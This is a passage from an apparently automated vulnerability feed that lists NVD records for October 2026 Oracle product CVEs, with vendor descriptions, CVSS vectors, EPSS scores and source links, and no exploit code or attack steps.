NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91232&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91237
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91237).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91237&date=2026-10-25).
Sources:
NVD CVE-2026-91237: https://nvd.nist.gov/vuln/detail/CVE-2026-91237
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91237&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91238
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle SOA Suite. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91238).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91238&date=2026-10-25).
Sources:
NVD CVE-2026-91238: https://nvd.nist.gov/vuln/detail/CVE-2026-91238
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91238&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle SOA Suite. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91239
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91239).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91239&date=2026-10-25).
Sources:
NVD CVE-2026-91239: https://nvd.nist.gov/vuln/detail/CVE-2026-91239
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91239&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web Administration).
https://kevwire.com/record/CVE-2026-91241
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web Administration). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web Administration).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91241).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91241&date=2026-10-25).
Sources:
NVD CVE-2026-91241: https://nvd.nist.gov/vuln/detail/CVE-2026-91241
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91241&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web Administration).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Plugins).
https://kevwire.com/record/CVE-2026-91242
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Plugins). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Plugins).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Solaris accessible data as well as  unauthorized access to critical data or complete access to all Oracle Solaris accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91242).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91242&date=2026-10-25).
Sources:
NVD CVE-2026-91242: https://nvd.nist.gov/vuln/detail/CVE-2026-91242
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91242&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Plugins).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Solaris accessible data as well as  unauthorized access to critical data or complete access to all Oracle Solaris accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91243
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Business Process Management Suite accessible data as well as  unauthorized access to critical data or complete access to all Oracle Business Process Management Suite accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).
CVSS 9.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91243).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91243&date=2026-10-25).
Sources:
NVD CVE-2026-91243: https://nvd.nist.gov/vuln/detail/CVE-2026-91243
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91243&date=2026-10-25
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Business Process Management Suite accessible data as well as  unauthorized access to critical data or complete access to all Oracle Business Process Management Suite accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).
https://kevwire.com/record/CVE-2026-91250
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91250).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91250&date=2026-10-25).
Sources:
NVD CVE-2026-91250: https://nvd.nist.gov/vuln/detail/CVE-2026-91250
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91250&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).
https://kevwire.com/record/CVE-2026-91251
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91251).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91251&date=2026-10-25).
Sources:
NVD CVE-2026-91251: https://nvd.nist.gov/vuln/detail/CVE-2026-91251
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91251&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Adapters).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).
https://kevwire.com/record/CVE-2026-91252
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris and  unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91252).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91252&date=2026-10-25).
Sources:
NVD CVE-2026-91252: https://nvd.nist.gov/vuln/detail/CVE-2026-91252
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91252&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris and  unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).
https://kevwire.com/record/CVE-2026-91253
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91253).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91253&date=2026-10-25).
Sources:
NVD CVE-2026-91253: https://nvd.nist.gov/vuln/detail/CVE-2026-91253
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91253&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).
https://kevwire.com/record/CVE-2026-91256
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris and  unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91256).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91256&date=2026-10-25).
Sources:
NVD CVE-2026-91256: https://nvd.nist.gov/vuln/detail/CVE-2026-91256
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91256&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris and  unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).
https://kevwire.com/record/CVE-2026-91259
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91259).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91259&date=2026-10-25).
Sources:
NVD CVE-2026-91259: https://nvd.nist.gov/vuln/detail/CVE-2026-91259
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91259&date=2026-10-25
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).
https://kevwire.com/record/CVE-2026-91260
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog). (Oct 20, 2026).
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91260).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91260&date=2026-10-25).
Sources:
NVD CVE-2026-91260: https://nvd.nist.gov/vuln/detail/CVE-2026-91260
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91260&date=2026-10-25
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).
https://kevwire.com/record/CVE-2026-91266
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC). (Oct 20, 2026).
